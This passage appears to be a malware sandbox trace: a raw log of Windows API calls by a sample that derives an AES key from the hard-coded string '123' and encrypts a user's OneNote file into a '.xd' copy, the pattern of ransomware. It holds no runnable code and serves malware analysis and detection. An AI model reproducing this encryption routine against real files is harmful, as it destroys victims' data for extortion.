PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.154] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0072.154] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0072.154] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.154] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.154] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0072.154] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.154] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.154] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.154] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.154] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.154] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.154] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.154] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0072.154] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.154] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0072.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621450, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0072.155] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0072.155] CryptCreateHash (in: hProv=0x17aad58, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0072.155] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.155] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.155] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.155] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0072.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629480, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0072.155] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0072.156] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0072.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629330, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0072.156] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.156] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.156] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.156] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0072.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621690, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0072.156] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0072.156] CryptHashData (hHash=0x164c830, pbData=0x1629400, dwDataLen=0x3, dwFlags=0x1) returned 1 [0072.160] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.160] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.160] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.160] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.160] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.160] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0072.160] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.160] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0072.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621738, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0072.161] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0072.161] CryptDeriveKey (in: hProv=0x17aad58, Algid=0x6610, hBaseData=0x164c830, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c3f0) returned 1 [0072.161] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.161] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.161] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.161] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.161] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.161] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.161] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0072.161] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.161] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0072.161] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0072.162] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0072.162] CryptDestroyHash (hHash=0x164c830) returned 1 [0072.162] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.162] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.162] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.162] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.162] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.162] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\onenote notebooks\\my notebook\\open notebook.onetoc2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0072.164] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.164] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0072.164] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.164] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.164] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.164] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\onenote notebooks\\my notebook")) returned 0x10 [0072.164] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\onenote notebooks\\my notebook\\open notebook.onetoc2.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0072.193] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.193] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.193] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.193] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.195] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0072.195] ReadFile (in: hFile=0x2ac, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0x1828, lpOverlapped=0x0) returned 1 [0072.206] ReadFile (in: hFile=0x2ac, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0072.209] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.209] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.209] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.209] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0072.209] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.209] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.209] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0072.209] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0072.209] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0072.209] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0072.209] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0072.209] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.210] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0072.210] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0072.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0072.210] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0072.210] CryptGetKeyParam (in: hKey=0x164c3f0, dwParam=0x7, pbData=0x1629350, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629350*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0072.210] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0072.210] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0072.210] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.211] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.211] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.212] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.212] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.212] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.212] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0072.212] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.212] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0072.212] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0072.212] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.212] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.213] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0072.213] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.213] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.213] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.213] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.213] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.213] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.213] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.213] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.213] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.215] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0072.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16218d0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0072.216] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0072.216] CryptEncrypt (in: hKey=0x164c3f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x1828, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x1830) returned 1 [0072.216] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.216] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.216] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.216] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.216] CharLowerBuffW (in: lpsz="byte[6193]", cchLength=0xa | out: lpsz="byte[6193]") returned 0xa [0072.216] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.216] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.216] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.217] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.217] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0072.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621ac8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0072.217] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0072.217] CryptEncrypt (in: hKey=0x164c3f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17c1e40*, pdwDataLen=0x130e618*=0x1828, dwBufLen=0x1830 | out: pbData=0x17c1e40*, pdwDataLen=0x130e618*=0x1830) returned 1 [0072.217] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.217] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.217] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.217] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.217] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 